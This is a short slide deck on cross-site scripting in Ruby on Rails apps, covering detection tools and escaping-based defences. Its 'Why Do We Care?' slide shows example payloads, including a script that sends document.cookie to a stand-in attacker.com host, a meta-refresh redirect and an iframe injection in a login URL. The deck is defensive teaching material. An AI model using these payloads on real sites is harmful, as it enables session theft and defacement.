

# RoR and XSS

Chris Booth

# Synopsis

- What is XSS?
- Why do we care?
- How do we find it?
- How do we prevent it?
- Further Research
- Q&A

# What is XSS?

- Cross Site Scripting
  - Wikipedia: Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users
- NOT “CSS”!

# Why Do We Care?

- Cookie Theft

- `<script>document.write('bolded text</b>`

- Defacement

- `http://www.website.com/login?username=<iframe xsrc=//x4u.at.hm/>`

- Redirection

- `<script>document.location.replace('http://www.attacker.com/'+document.cookie);</script>`
- `<meta http-equiv="refresh" content="0; URL=http://www.attacker.com/">`

- What can't you do?

# How Do We Find It?

- Cal9000 (free)
- WebScarab (free)
- Acunetix Web Vulnerability Scanner (commercial)
- Example (Cal9000)

# How Do We Prevent It?

- Escape on Input
  - Original input is lost or hard to recover
  - Doesn't allow you to change your method downstream without data modification
  - `xss_terminate` (`acts_as_sanitized` extension)

# How Do We Prevent It?

- Escape on Display
  - `h()` ( `html_escape()` )
  - Plugins
    - SafeERB
      - Still have to use `h()`
      - Site errors if `h()` forgotten
    - Xss-shield
    - Autoescape
    - Cross Site Sniper
      - Seems to be the least invasive; less to do to make it work

# Further Research

- Google “Rails XSS”
- <http://www.rorsecurity.info>

Q&A